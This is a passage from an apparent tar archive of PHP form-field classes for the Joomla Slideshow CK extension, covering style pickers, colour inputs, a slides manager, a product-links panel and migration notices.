	}

}
com_slideshowck/elements/ckstyle.php000060400000006714152455305260013737 0ustar00<?php
/**
 * @copyright	Copyright (C) 2016 Cedric KEIFLIN alias ced1870
 * http://www.joomlack.fr
 * @license		GNU/GPL
 * */

defined('JPATH_PLATFORM') or die;

require_once 'ckformfield.php';
require_once JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/helper.php';

\Joomla\CMS\Language\Text::script('SLIDESHOWCK_SAVE_CLOSE');

class JFormFieldCkstyle extends CKFormField {

	protected $type = 'ckstyle';

	protected function getInput() {
		$doc = \Joomla\CMS\Factory::getDocument();
		// Initialize some field attributes.
		$js = 'function ckSelectStyle(id, name, close) {
			if (!close && close != false) close = true;
			jQuery("#' . $this->id . '").val(id);
			jQuery("#' . $this->id . 'name").val(name);
			if (close) CKBox.close(\'#ckstylesmodal .ckboxmodal-button\');
		}';
		$doc->addScriptDeclaration($js);
		
		$icon = $this->element['icon'];
		$suffix = $this->element['suffix'];
		$size = $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : '';
		$maxLength = $this->element['maxlength'] ? ' maxlength="' . (int) $this->element['maxlength'] . '"' : '';
		$class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : '';
		$readonly = ((string) $this->element['readonly'] == 'true') ? ' readonly="readonly"' : '';
		$disabled = ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : '';
		$defautlwidth = $suffix ? '128px' : '150px';
		$styles = ' style="width:'.$defautlwidth.';'.$this->element['styles'].'"';
		$styleName = SlideshowckHelper::getStyleNameById($this->value);

		// Initialize JavaScript field attributes.
		$onchange = $this->element['onchange'] ? ' onchange="' . (string) $this->element['onchange'] . '"' : '';
		$html = $icon ? '<div style="display:inline-block;vertical-align:top;margin-top:4px;width:20px;"><img src="' . SLIDESHOWCK_MEDIA_URI . '/images/' . $icon . '" style="margin-right:5px;" /></div>' : '<div style="display:inline-block;width:20px;"></div>';		

		$html .= '<div class="ckbutton-group">';
		$html .= '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '"' . ' value="'
			. htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '"' . $class . $size . $disabled . $readonly . $onchange . $maxLength . $styles . '/>';
		$html .= '<input type="text" disabled name="' . $this->name . 'name" id="' . $this->id . 'name"' . ' value="'
			. htmlspecialchars($styleName) . '"' . $class . $size . $disabled . $readonly . $onchange . $maxLength . $styles . '/>';
		$footerHtml = '<a class="ckboxmodal-button" href="javascript:void(0)" onclick="ckSaveIframe(\'test\')">' . \Joomla\CMS\Language\Text::_('CK_CREATE_NEW') . '</a>';
		$html .= '<div class="ckbutton" onclick="CKBox.open({id: \'ckstylesmodal\', url: \'index.php?option=com_slideshowck&view=styles&tmpl=component&layout=modal\', style: {padding: \'0px\'}})"><i class="fas fa-mouse-pointer "></i> ' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_SELECT') . '</div>';
		$html .= '<div class="ckbutton" onclick="CKBox.open({url: \'index.php?option=com_slideshowck&view=style&tmpl=component&layout=modal&id=\'+jQuery(\'#' . $this->id . '\').val()+\'\'})"><i class="fas fa-edit"></i> ' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_EDIT') . '</div>';
		$html .= '<div class="ckbutton cktip" onclick="jQuery(\'#' . $this->id . '\').val(\'\');jQuery(\'#' . $this->id . 'name\').val(\'\');" title="' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_REMOVE') . '"><i class="fas fa-times"></i></div>';
		$html .= '</div>';

		return $html;
	}
}
com_slideshowck/elements/slideshowcktext.php000060400000002160152455305260015474 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011-2019 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
defined('JPATH_PLATFORM') or die;

// custom class extension for J3 compatibility
if (class_exists('\Joomla\CMS\Form\Field\TextField')) {
	class JFormFieldSlideshowcktextBase extends \Joomla\CMS\Form\Field\TextField {}
} else {
	class JFormFieldSlideshowcktextBase extends JFormFieldText {}	
}

class JFormFieldSlideshowcktext extends JFormFieldSlideshowcktextBase {

	/**
	 * The form field type.
	 *
	 * @var    string
	 */
	protected $type = 'slideshowcktext';

	protected function getInput() {
		// Initialize some field attributes.
		$icon = $this->element['icon'];
		$suffix = $this->element['suffix'];

		$html = $icon ? '<div class="slideshowck-field-icon" ' . ($suffix ? 'data-has-suffix="1"' : '') . '><img src="' . SLIDESHOWCK_MEDIA_URI . '/images/' . $icon . '" style="margin-right:5px;" /></div>' : '<div class="slideshowck-field-icon"></div>';

		$html .= parent::getInput();
		if ($suffix)
			$html .= '<span class="slideshowck-field-suffix">' . $suffix . '</span>';
		return $html;
	}

}
com_slideshowck/elements/cklight.php000060400000002525152455305260013702 0ustar00<?php

/**
 * @copyright	Copyright (C) 2017 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
// no direct access
defined('JPATH_PLATFORM') or die;

require_once 'ckformfield.php';

class JFormFieldCklight extends CKFormField {

	protected $type = 'cklight';

	protected function getLabel() {
		return '';
	}

	protected function getInput() {
		$html = array();

		// Add the label text and closing tag.
		$html[] = '<div id="' . $this->id . '-lbl" class="ckinfo">';
		$html[] = '<i class="fas fa-info" style="color:orange"></i>';
		$html[] = \Joomla\CMS\Language\Text::_('SLIDESHOWCK_USE_FREE_VERSION');
		$html[] = ' <a href="https://www.joomlack.fr/en/joomla-extensions/slideshow-ck" target="_blank">';
		$html[] = '<span class="cklabel cklabel-info"><i class="fas fa-link"></i> ' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_GET_PRO_INFOS') . '</label>';
		$html[] = '</a>';
		$html[] = '</div>';

//		if (! $testparams) {
			$html[] = 'Mettre ici description de la version pro avec les fonctionnalités et le lien';
//		}

		return implode('', $html);
	}

	protected function testParams() {
		if (\Joomla\CMS\Filesystem\File::exists(JPATH_ROOT.'/plugins/system/slideshowckparams/slideshowckparams.php')) {
			$this->state = 'green';
			return \Joomla\CMS\Language\Text::_('SLIDESHOWCK_USE_PRO_VERSION');
		}
		return false;
	}
}com_slideshowck/elements/slideshowckradio.php000060400000002673152455305260015617 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
defined('JPATH_PLATFORM') or die;

\Joomla\CMS\Form\FormHelper::loadFieldClass('radio');

// custom class extension for J3 compatibility
if (class_exists('\Joomla\CMS\Form\Field\RadioField')) {
	class JFormFieldSlideshowckradioBase extends \Joomla\CMS\Form\Field\RadioField {}
} else {
	class JFormFieldSlideshowckradioBase extends JFormFieldRadio {}	
}

class JFormFieldSlideshowckradio extends JFormFieldSlideshowckradioBase {

	protected $type = 'slideshowckradio';

	protected function getInput() {
		// Initialize some field attributes.
		$icon = $this->element['icon'];
		$suffix = $this->element['suffix'];

		$html = $icon ? '<div class="slideshowck-field-icon" ' . ($suffix ? 'data-has-suffix="1"' : '') . '><img src="' . SLIDESHOWCK_MEDIA_URI . '/images/' . $icon . '" style="margin-right:5px;" /></div>' : '<div style="display:inline-block;width:20px;"></div>';

		$html .= parent::getInput();
		if ($suffix)
			$html .= '<span class="slideshowck-field-suffix">' . $suffix . '</span>';
		return $html;
	}

	protected function getOptions()
	{
		$options = parent::getOptions();
		foreach ($options as $option) {
			if (stristr($option->text, "img:"))
				$option->text = '<img src="' . SLIDESHOWCK_MEDIA_URI . '/images/' . str_replace("img:", "", $option->text) . '" style="margin:0; float:none;" />';
		}
		return $options;
	}
}
com_slideshowck/elements/ckpro.php000060400000001745152455305260013376 0ustar00<?php

/**
 * @copyright	Copyright (C) 2017 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
// no direct access
defined('JPATH_PLATFORM') or die;

require_once 'ckformfield.php';

class JFormFieldCkpro extends CKFormField {

	protected $type = 'ckpro';

	private $state;

	protected function getLabel() {
		return '';
	}

	protected function getInput() {
		$html = array();

		// Add the label text and closing tag.
		$html[] = '<div id="' . $this->id . '-lbl" class="ckinfo">';
		$html[] = '<i class="fas fa-info" style="color:green"></i>';
		$html[] = \Joomla\CMS\Language\Text::_('SLIDESHOWCK_USE_PRO_VERSION');
		$html[] = ' <a href="https://www.joomlack.fr/en/documentation/miscellaneous/202-license-code" target="_blank">';
		$html[] = '<span class="cklabel cklabel-info"><i class="fas fa-link"></i> ' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_GET_LICENCE_INFOS') . '</label>';
		$html[] = '</a>';
		$html[] = '</div>';

		return implode('', $html);
	}
}com_slideshowck/elements/ckfolderlist.php000060400000004462152455305260014744 0ustar00<?php
/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * Module Maximenu CK
 * @license		GNU/GPL
 * */

defined('JPATH_PLATFORM') or die;

jimport('joomla.html.html');
jimport('joomla.filesystem.folder');
jimport('joomla.form.formfield');
jimport('joomla.form.helper');
\Joomla\CMS\Form\FormHelper::loadFieldClass('list');

// custom class extension for J3 compatibility
if (class_exists('\Joomla\CMS\Form\Field\ListField')) {
	class JFormFieldCkfolderListBase extends \Joomla\CMS\Form\Field\ListField {}
} else {
	class JFormFieldCkfolderListBase extends JFormFieldList {}	
}

class JFormFieldCkfolderList extends JFormFieldCkfolderListBase
{

	public $type = 'ckfolderlist';

	protected function getOptions()
	{
		// Initialize variables.
		$options = array();

		// Initialize some field attributes.
		$filter			= (string) $this->element['filter'];
		$exclude		= (string) $this->element['exclude'];
		$hideNone		= (string) $this->element['hide_none'];
		$hideDefault	= (string) $this->element['hide_default'];

		// Get the path in which to search for file options.
		$path = (string) $this->element['directory'];
		if (!is_dir($path)) {
			$path = JPATH_ROOT.'/'.$path;
		}

		// Prepend some default options based on field attributes.
		if (!$hideNone) {
			$options[] = \Joomla\CMS\HTML\HTMLHelper::_('select.option', '-1', \Joomla\CMS\Language\Text::alt('JOPTION_DO_NOT_USE', preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)));
		}
		if (!$hideDefault) {
			$options[] = \Joomla\CMS\HTML\HTMLHelper::_('select.option', '', \Joomla\CMS\Language\Text::alt('JOPTION_USE_DEFAULT', preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)));
		}

		// Get a list of folders in the search path with the given filter.
		$folders = \Joomla\CMS\Filesystem\Folder::folders($path, $filter);

		// Build the options list from the list of folders.
		if (is_array($folders)) {
			foreach($folders as $folder) {

				// Check to see if the file is in the exclude mask.
				if ($exclude) {
					if (preg_match(chr(1).$exclude.chr(1), $folder)) {
						continue;
					}
				}

				$options[] = \Joomla\CMS\HTML\HTMLHelper::_('select.option', $folder, $folder);
			}
		}

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::getOptions(), $options);

		return $options;
	}
}
com_slideshowck/elements/slideshowckinterface.php000060400000004403152455305260016452 0ustar00<?php
/**
 * @copyright	Copyright (C) 2017 Cedric KEIFLIN alias ced1870
 * http://www.joomlack.fr
 * @license		GNU/GPL
 * */

defined('JPATH_PLATFORM') or die;

use Slideshowck\CKFramework;

include_once JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/ckframework.php';
include_once JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/defines.php';

\Joomla\CMS\Form\FormHelper::loadFieldClass('hidden');
CKFramework::load();
// custom class extension for J3 compatibility
if (class_exists('\Joomla\CMS\Form\Field\HiddenField')) {
	class JFormFieldSlideshowckinterfaceBase extends \Joomla\CMS\Form\Field\HiddenField {}
} else {
	class JFormFieldSlideshowckinterfaceBase extends JFormFieldHidden {}	
}

class JFormFieldSlideshowckinterface extends JFormFieldSlideshowckinterfaceBase
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 *
	 */
	protected $type = 'slideshowckinterface';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 */
	protected function getLabel()
	{
		return '';
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 */
	protected function getInput()
	{
		// loads the language files from the frontend
		$lang	= \Joomla\CMS\Factory::getLanguage();
		$lang->load('com_slideshowck', JPATH_SITE . '/components/com_slideshowck', $lang->getTag(), false);
		$lang->load('com_slideshowck', JPATH_SITE, $lang->getTag(), false);

		if (version_compare(JVERSION, '4') >= 0) {
		$css = '.slideshowck-field-suffix {
	display: inline-block;
	line-height: 25px;
	transform: translate(0, -50%);
	position: absolute;
	top: 20px;
	height: 25px;
	right: 20px;
}

.slideshowck-field-icon {
	display: inline-block;
	vertical-align: top;
	margin-top: 10px;
	width: 20px;
}

.slideshowck-field-icon + input,
.slideshowck-field-icon + fieldset,
.slideshowck-field-icon + select {
	display: inline-block;
	width: calc(100% - 30px);
}

.ckbutton-group input[type="text"] {
	min-height: 28px;
	box-sizing: border-box;
	font-size: 13px;
}';
		} else {
			$css = '.slideshowck-field-icon {
	display: inline-block;
	vertical-align: top;
	margin-top: 4px;
	width: 20px;
}';
		}

		$doc = \Joomla\CMS\Factory::getDocument();
		$doc->addStyleDeclaration($css);

		return '';
	}
}
com_slideshowck/elements/ckcolor.php000060400000004450152455305260013710 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * Module Maximenu CK
 * @license		GNU/GPL
 * */
// no direct access
defined('_JEXEC') or die('Restricted access');

require_once 'ckformfield.php';

class JFormFieldCkcolor extends CKFormField {

    protected $type = 'ckcolor';

    protected function getInput() {
        $path = 'modules/mod_slideshowck/elements/jscolor/';
        \Joomla\CMS\HTML\HTMLHelper::_('script', $path.'jscolor.js');

        $html = '<img src="' . $this->getPathToImages() . '/images/color.png" /><input class="color {';
        $html.= 'required:false,';  // empty possible
        $html.= 'pickerPosition:\'top\',';    // or left / right / top
        $html.= 'pickerBorder:2,pickerInset:3,';    // or right / top
        $html.= 'hash:true';        // # behind value
        $html.= '}" type="text" value="' . $this->value . '" name="' . $this->name . '" style="width:100px;border-radius:3px;-moz-border-radius:3px;" />';
        return $html;
    }

    protected function getPathToImages() {
        $localpath = dirname(__FILE__);
        $rootpath = JPATH_ROOT;
        $httppath = trim(\Joomla\CMS\Uri\Uri::root(), "/");
        $pathtoimages = str_replace("\\", "/", str_replace($rootpath, $httppath, $localpath));
        return $pathtoimages;
    }

    protected function getLabel() {
        $label = '';
        // Get the label text from the XML element, defaulting to the element name.
        $text = $this->element['label'] ? (string) $this->element['label'] : (string) $this->element['name'];
        $text = \Joomla\CMS\Language\Text::_($text);

        // Build the class for the label.
        $class = !empty($this->description) ? 'hasTip hasTooltip' : '';

        $label .= '<label id="' . $this->id . '-lbl" for="' . $this->id . '" class="' . $class . '"';

        // If a description is specified, use it to build a tooltip.
        if (!empty($this->description)) {
            $label .= ' title="' . htmlspecialchars(trim($text, ':') . '<br />' .
                            \Joomla\CMS\Language\Text::_($this->description), ENT_COMPAT, 'UTF-8') . '"';
        }

        $label .= ' style="min-width:150px;max-width:150px;width:150px;display:block;float:left;padding:1px;">' . $text . '</label>';

        return $label;
    }

}

com_slideshowck/elements/ckproducts.php000060400000005326152455305260014440 0ustar00<?php

/**
 * @copyright	Copyright (C) 2017 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
// no direct access
defined('JPATH_PLATFORM') or die;

require_once 'ckformfield.php';

class JFormFieldCkproducts extends CKFormField {

	protected $type = 'ckproducts';

	protected function getLabel() {
		return '';
	}

	protected function getInput() {
		$html = '<style>
.ckproduct {
	padding: 10px 20px;
	display: inline-block;
	color: #1f496e;
	border: 1px solid #1f496e;
	margin: 3px;
	border-radius: 2px;
	transition: 0.3s all;
}
.ckproduct:hover {
	background: #1f496e;
	color: #fff;
	text-decoration: none;
}
</style>
			<h3>' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_VISIT_OTHER_PRODUCTS') . '</h3>
			<div>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/en/joomla-extensions/accordeonmenu-ck">Accordeon Menu CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/en/joomla-extensions/beautiful-ck">Beautiful CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/en/joomla-extensions/carousel-ck">Carousel CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/en/download-joomla-extensions/view_category/37-cookies-ck">Cookies CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/en/joomla-extensions/floating-module-ck">Floating Module CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/en/joomla-extensions/image-effect-ck">Image Effect CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/en/joomla-extensions/maximenu-ck">Maximenu CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/en/joomla-extensions/mediabox-ck">Mediabox CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/en/joomla-extensions/menu-manager-ck">Menu Manager CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/extensions-joomla/mobile-menu-ck">Mobile Menu CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/en/joomla-extensions/modules-manager-ck">Modules Manager CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/en/joomla-extensions/page-builder-ck">Page Builder CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/en/joomla-extensions/scroll-to-ck">Scroll To CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr/extensions-joomla/tooltip-gc">Tooltip CK</a>
					<a class="ckproduct" target="_blank" href="https://www.template-creator.com">Template Creator CK</a>
					<a class="ckproduct" target="_blank" href="https://www.joomlack.fr">And more...</a>
				</div>';

		return $html;
	}
}com_slideshowck/elements/ckslidesmanager.php000060400000011742152455305260015412 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
// no direct access
defined('_JEXEC') or die('Restricted access');

require_once 'ckformfield.php';
require_once JPATH_ADMINISTRATOR . '/components/com_slideshowck/helpers/ckframework.php';
require_once JPATH_ADMINISTRATOR . '/components/com_slideshowck/helpers/helper.php';

Slideshowck\CKFramework::load();
SlideshowckHelper::loadCkbox();

\Joomla\CMS\Language\Text::script('SLIDESHOWCK_ADDSLIDE');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_SELECTIMAGE');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_SELECT_LINK');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_REMOVE2');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_SELECT');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_CAPTION');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_USETOSHOW');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_IMAGE');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_VIDEO');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_TEXTOPTIONS');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_IMAGEOPTIONS');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_LINKOPTIONS');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_VIDEOOPTIONS');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_ALIGNEMENT_LABEL');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_TOPLEFT');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_TOPCENTER');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_TOPRIGHT');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_MIDDLELEFT');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_CENTER');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_MIDDLERIGHT');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_BOTTOMLEFT');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_BOTTOMCENTER');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_BOTTOMRIGHT');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_LINK');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_TARGET');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_SAMEWINDOW');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_NEWWINDOW');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_VIDEOURL');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_REMOVE');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_IMPORTFROMFOLDER');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_ARTICLEOPTIONS');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_SLIDETIME');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_CLEAR');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_SELECT');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_TITLE');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_STARTDATE');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_ENDDATE');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_SAVE');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_TEXT_CUSTOM');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_ARTICLE');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_TEXT');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_VIDEO_AUTOPLAY');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_VIDEO_LOOP');
\Joomla\CMS\Language\Text::script('SLIDESHOWCK_VIDEO_CONTROLS');
\Joomla\CMS\Language\Text::script('CK_SAVE_CLOSE');

class JFormFieldCkslidesmanager extends CKFormField {

	protected $type = 'ckslidesmanager';

	protected function getInput() {

		// loads the language files from the frontend
		$lang	= \Joomla\CMS\Factory::getLanguage();
		$lang->load('com_slideshowck', JPATH_SITE . '/components/com_slideshowck', $lang->getTag(), false);
		$lang->load('com_slideshowck', JPATH_SITE, $lang->getTag(), false);

		require_once(JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/defines.js.php');
		$path = 'media/com_slideshowck/assets/elements/ckslidesmanager/';
		\Joomla\CMS\HTML\HTMLHelper::_('jquery.framework');
		// \Joomla\CMS\HTML\HTMLHelper::_('jquery.ui', array('core', 'sortable'));
		\Joomla\CMS\HTML\HTMLHelper::_('script', 'media/com_slideshowck/assets/jquery-uick-custom.js');
		\Joomla\CMS\HTML\HTMLHelper::_('script', 'media/com_slideshowck/assets/admin.js');
		\Joomla\CMS\HTML\HTMLHelper::_('script', $path . 'ckslidesmanager.js');
		if (\Slideshowck\CKFof::isSite()) {
			\Joomla\CMS\HTML\HTMLHelper::_('stylesheet', 'media/com_slideshowck/assets/front-edition.css');
		}
		
		\Joomla\CMS\HTML\HTMLHelper::_('stylesheet', 'media/com_slideshowck/assets/jquery-ui.min.css');
		\Joomla\CMS\HTML\HTMLHelper::_('stylesheet', $path . 'ckslidesmanager.css');

		$html = '<input name="' . $this->name . '" id="ckslides" type="hidden" value="' . $this->value . '" />'
				. '<div class="ckaddslide ckbutton ckbutton-success" onclick="javascript:ckAddSlide(false, \'top\');"><i class="far fa-plus-square"></i> ' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_ADDSLIDE') . '</div>'
				. '<ul id="ckslideslist" class="ckinterface" style="clear:both;"></ul>'
				. '<div class="ckaddslide ckbutton ckbutton-success" onclick="javascript:ckAddSlide();"><i class="far fa-plus-square"></i> ' . \Joomla\CMS\Language\Text::_('SLIDESHOWCK_ADDSLIDE') . '</div>';

		return $html;
	}

	protected function getLabel() {

		return '';
	}
}

com_slideshowck/elements/slideshowcklist.php000060400000002334152455305260015466 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011-2019 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
defined('JPATH_PLATFORM') or die;

jimport('joomla.html.html');
jimport('joomla.form.formfield');

include_once JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/defines.php';

// custom class extension for J3 compatibility
if (class_exists('\Joomla\CMS\Form\Field\ListField')) {
	class JFormFieldSlideshowcklistBase extends \Joomla\CMS\Form\Field\ListField {}
} else {
	class JFormFieldSlideshowcklistBase extends JFormFieldList {}	
}

class JFormFieldSlideshowcklist extends JFormFieldSlideshowcklistBase {

	protected $type = 'slideshowcklist';

	protected function getInput() {
		// Initialize some field attributes.
		$icon = $this->element['icon'];
		$suffix = $this->element['suffix'];

		$html = $icon ? '<div class="slideshowck-field-icon" ' . ($suffix ? 'data-has-suffix="1"' : '') . '><img src="' . SLIDESHOWCK_MEDIA_URI . '/images/' . $icon . '" style="margin-right:5px;" /></div>' : '<div style="display:inline-block;width:20px;"></div>';

		$html .= parent::getInput();
		if ($suffix)
			$html .= '<span class="slideshowck-field-suffix">' . $suffix . '</span>';
		return $html;
	}

}
com_slideshowck/elements/ckspacer.php000060400000003174152455305260014051 0ustar00<?php

/**
 * @copyright	Copyright (C) 2011 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */
// no direct access
defined('_JEXEC') or die('Restricted access');

require_once 'ckformfield.php';

class JFormFieldCkspacer extends CKFormField {

	protected $type = 'ckspacer';

	protected function getLabel() {
		return '';
	}

	protected function getInput() {
		$html = array();
		$class = $this->element['class'] ? (string) $this->element['class'] : '';

		$style = $this->element['style'] ? $this->element['style'] : '';

		if ($style == 'title') {
			$doc = \Joomla\CMS\Factory::getDocument();
			$styles = '.ckinfo.cktitle {
				background:#666;
				color: #eee;
				text-transform: uppercase;
				}
	';
			$doc->addStyleDeclaration($styles);
		}
		
		if ((string) $this->element['hr'] == 'true') {
			$html[] = '<hr class="' . $class . '" />';
		} else {
			$label = '';
			// Get the label text from the XML element, defaulting to the element name.
			$text = $this->element['label'] ? (string) $this->element['label'] : (string) $this->element['name'];
			$text = $this->translateLabel ? \Joomla\CMS\Language\Text::_($text) : $text;

			// Test to see if the patch is installed
			$testpatch = $this->element['testpatch'] ? $this->testPatch($this->element['testpatch']) : null;
			$text = $testpatch ? $testpatch : $text;

			// set the icon
			$icon = $this->element['icon'] ? $this->element['icon'] : 'info';
			$html[] = '<div class="ckinfo' . ($style == 'title' ? ' cktitle' : '') . '">' . ($style == 'title' ? '' : '<i class="fas fa-' . $icon . '"></i>') . $text . '</div>';
		}
		
		return implode('', $html);
	}
}

com_slideshowck/elements/ckmigrate.php000060400000011437152455305260014225 0ustar00<?php
/**
 * @copyright	Copyright (C) 2019 Cedric KEIFLIN alias ced1870
 * https://www.joomlack.fr
 * @license		GNU/GPL
 * */

defined('JPATH_PLATFORM') or die;

use \Slideshowck\CKFof;
use \Slideshowck\CKFolder;
use \Slideshowck\CKFile;
use \Slideshowck\CKText;

require_once 'ckformfield.php';
require_once JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/ckfof.php';
require_once JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/ckfolder.php';
require_once JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/ckfile.php';
require_once JPATH_ROOT . '/administrator/components/com_slideshowck/helpers/cktext.php';

class JFormFieldCkmigrate extends CKFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 *
	 */
	protected $type = 'ckmigrate';

	private $options;

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 */
	protected function getLabel()
	{
		return '';
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 */
	protected function getInput()
	{
		$input = \Joomla\CMS\Factory::getApplication()->input;
		$id = $input->get('id', 0, 'int');
		$doMigration = $input->get('domigration', 0, 'int');
		if (! $id) return '';

		$options = $this->getModuleOptions($id);
//var_dump($options);die;
		$params = json_decode($options->params);
		if (isset($params->slidesssource)) {
			$this->makeBackup($id, $options->params);
			if ($doMigration) {
				$this->doMigration($id, $options->params);
			} else {
				CKfof::enqueueMessage(CKText::_('SLIDESHOWCK_MIGRATION_NEEDED'), 'warning');
				CKfof::enqueueMessage('<a href="' . CKFof::getCurrentUri() . '&domigration=1">' . CKText::_('SLIDESHOWCK_MIGRATION_ACTION') . '</a>', 'warning');
			}
		}

		if ($this->isPluginEnabled()) {
			CKFof::dbExecute("UPDATE #__extensions SET enabled = 0 WHERE element = 'slideshowckparams'");
			CKfof::enqueueMessage(CKText::_('SLIDESHOWCK_PARAMS_UNPUBLISHED_INFO'), 'warning');
			CKfof::enqueueMessage('<a href="https://www.joomlack.fr/en/documentation/48-slideshow-ck/246-migration-from-slideshow-ck-version-1-to-version-2" target="_blank">' . CKText::_('SLIDESHOWCK_PARAMS_MIGRATION_LINK') . '</a>', 'warning');
			CKfof::redirect();
		}

		$this->alertObsoletePlugin($params, 'hikashop');
		$this->alertObsoletePlugin($params, 'k2');
		$this->alertObsoletePlugin($params, 'joomgallery');
	}

	protected function alertObsoletePlugin($params, $plugin) {
		if (isset($params->source) && $params->source == $plugin && $this->isPluginEnabled('slideshowck' . $plugin)) {
			CKfof::enqueueMessage(CKText::_('SLIDESHOWCK_WARNING_PLUGIN_OBSOLETE') . ' : ' . '<b>slideshowck' . $plugin . '</b>', 'warning');
			CKfof::enqueueMessage('<a href="index.php?option=com_plugins&view=plugins&filter_element=slideshowck' . $plugin . '" target="_blank">' . CKText::_('SLIDESHOWCK_DISABLE_PLUGIN') . '</a>', 'warning');
		}
	}

	protected function isPluginEnabled($plugin = 'slideshowckparams') {
		if (file_exists(JPATH_ROOT . '/plugins/system/' . $plugin)) {
